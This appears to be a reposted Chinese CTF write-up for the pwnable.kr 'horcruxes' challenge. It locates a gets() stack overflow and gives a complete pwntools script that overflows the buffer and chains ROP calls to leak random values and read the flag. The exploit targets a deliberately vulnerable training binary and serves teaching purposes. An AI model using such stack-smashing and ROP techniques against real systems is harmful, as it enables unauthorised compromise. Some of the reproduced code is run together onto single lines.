当前位置: 代码迷 >> 综合 >> pwnable.kr horcruxes
  详细解决方案

pwnable.kr horcruxes

热度:99   发布时间:2023-12-17 11:09:13.0

在这里插入图片描述
看题目,好像是和ROP利用技术有相关的题目,上去看看先
在这里插入图片描述
告诉我们要链接端口9032执行,我们先把文件下下来看看,由于没有提供源码,我们直接用IDA看
函数也不长,直接看伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
    int v3; // ST1C_4setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 2, 0);alarm(0x3Cu);hint();init_ABCDEFG();v3 = seccomp_init(0);seccomp_rule_add(v3, 2147418112, 173, 0);seccomp_rule_add(v3, 2147418112, 5, 0);seccomp_rule_add(v3, 2147418112, 3, 0);seccomp_rule_add(v3, 2147418112, 4, 0);seccomp_rule_add(v3, 2147418112, 252, 0);seccomp_load(v3);return ropme();
}

直接看ropme()

int ropme()
{
    char s[100]; // [esp+4h] [ebp-74h]int v2; // [esp+68h] [ebp-10h]int fd; // [esp+6Ch] [ebp-Ch]printf("Select Menu:");__isoc99_scanf("%d", &v2);getchar();if ( v2 == a ){
    A();}else if ( v2 == b ){
    B();}else if ( v2 == c ){
    C();}else if ( v2 == d ){
    D();}else if ( v2 == e ){
    E();}else if ( v2 == f ){
    F();}else if ( v2 == g ){
    G();}else{
    printf("How many EXP did you earned? : ");gets(s);if ( atoi(s) == sum ){
    fd = open("flag", 0);s[read(fd, s, 0x64u)] = 0;puts(s);close(fd);exit(0);}puts("You'd better get more experience to kill Voldemort");}return 0;
}

漏洞点也很明显了在gets(s);变量s是一个栈地址,而getflag的条件就是if ( atoi(s) == sum ),这个sum在哪里被赋值了我们可以交叉引用看一下
在这里插入图片描述

unsigned int init_ABCDEFG()
{
    int v0; // eaxunsigned int result; // eaxunsigned int buf; // [esp+8h] [ebp-10h]int fd; // [esp+Ch] [ebp-Ch]fd = open("/dev/urandom", 0);if ( read(fd, &buf, 4u) != 4 ){
    puts("/dev/urandom error");exit(0);}close(fd);srand(buf);a = 0xDEADBEEF * rand() % 0xCAFEBABE;b = 0xDEADBEEF * rand() % 0xCAFEBABE;c = 0xDEADBEEF * rand() % 0xCAFEBABE;d = 0xDEADBEEF * rand() % 0xCAFEBABE;e = 0xDEADBEEF * rand() % 0xCAFEBABE;f = 0xDEADBEEF * rand() % 0xCAFEBABE;v0 = rand();g = 0xDEADBEEF * v0 % 0xCAFEBABE;result = f + e + d + c + b + a + 0xDEADBEEF * v0 % 0xCAFEBABE;sum = result;return result;
}

也就是um = a + b + c + d + e + f + g,而这七个数值是随机生成的。我们回过ropme函数里看看,也有对应的字母的函数

int A()
{
    return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}
...

这里省略去后面的函数,因为都是一样的功能,把对应自身字母的数值给打印出来然后返回。
我们再查看一下程序开启的保护
在这里插入图片描述
发现程序没有开启PIE也就是ASLR随机地址载入的保护机制,
同样没有发现Canary对栈指针进行保护。但是可以明显发现该程序实现了NX栈不可执行的保护。
到这里,利用思路大概就有了
首先在IDA pro反汇编出的伪代码中已经标记出了sbuffer的大小和起始地址:[ebp - 0x74]
在这里插入图片描述
基于此我们可以推断出buffer的起始地址到ropme()反回地址的距离应该为0x74 + 4。
多出的这4个bytes长度是存放原函数ebp地址的数据长度。所以可以初步判断
padding的大小为0x78 = 120个bytes数据。
然后在后面追加每个对应 a + b + c + d + e + f + g地址的rop链,获取数值计算,最后返回到main函数中调用ropme()函数的地方执行ropme()
然后再把计算好的sum输入进去,就可以getflag
在IDA里把对应的函数地址找到

call A() --> 0x809fe4b
call B() --> 0x809fe6a
call C() --> 0x809fe89
call D() --> 0x809fea8
call E() --> 0x809fec7
call F() --> 0x809fee6
call G() --> 0x809ff05
main <call ropme> --> 0x809fffc

所以构造出的payload为:

'A' * 120 + 0x809fe4b + 0x809fe6a + 0x809fe89 + 0x809fea8 + 0x809fec7 + 0x809fee6 + 0x809ff05 + 0x809fffc

用pwntools写是这样的

from ctypes import c_int
from pwn import *
from pwnlib.util.proc import wait_for_debugger
context.arch = 'i386'context.log_level = 'debug'#s = ssh("horcruxes", "pwnable.kr", port=2222, password="guest")
#p = s.connect_remote('localhost', 9032)p = process('./horcruxes',stdin=PTY)
wait_for_debugger(p.pid)
#r = remote('pwnable.kr', 9032) padding = 'A' * 0x78
A = 0x0809FE4B
B = 0x0809FE6A
C = 0x0809FE89
D = 0x0809FEA8
E = 0x0809FEC7
F = 0x0809FEE6
G = 0x0809FF05
ropme = 0x0809FFFC
stage1 = flat(padding, A, B, C, D, E, F, G, ropme,endianness='little', word_size=32, sign=False)p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(stage1)s = 0 
for i in xrange(7):p.recvuntil('EXP +')s += int(p.recvline()[:-2])#s &= 0xffffffffs = c_int(s).value
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(str(s))
print p.recvline()

这是我本地调试时候用的,如果要连上pwnable.kr则要把注释去掉,再注释掉dbg的代码就可以了

这里我用本地调试的代码说明
可以看到执行后堆栈被覆盖
在这里插入图片描述
retn的时候已经进入我们准备的rop链
在这里插入图片描述
等rop链完成后我们再次进入ropme(),输入了正确的sum,然后成功跳转到获取flag的流程中了
在这里插入图片描述
还有网上很多大佬的wp都说不能直接返回ropme()函数里面的任何一个位置,我尝试了一下,产生了如下错误
在这里插入图片描述
查了一下错误提示,大概意思是

当应用程序尝试访问未分配的存储区/无效的存储区/对该应用程序的未对齐访问时,将发生SIGSEGV问题

这里我也没有去深入研究,望知道的大佬教教弟弟

这里再记一个小坑,在我准备调试程序的时候发现
在这里插入图片描述
缺少库文件
然后我使用了如下命令去更新

sudo apt-get update && sudo apt-get install libseccomp2

发现还是没有解决这个错误,然后又找了好久,直到看到了这个帖子

https://askubuntu.com/questions/721357/is-it-safe-to-install-old-libraries-wine-issue

才发现原来是32位程序的问题,需要这样改一下

sudo apt-get update && sudo apt-get install libseccomp2:i386

我哭了:(
在这里插入图片描述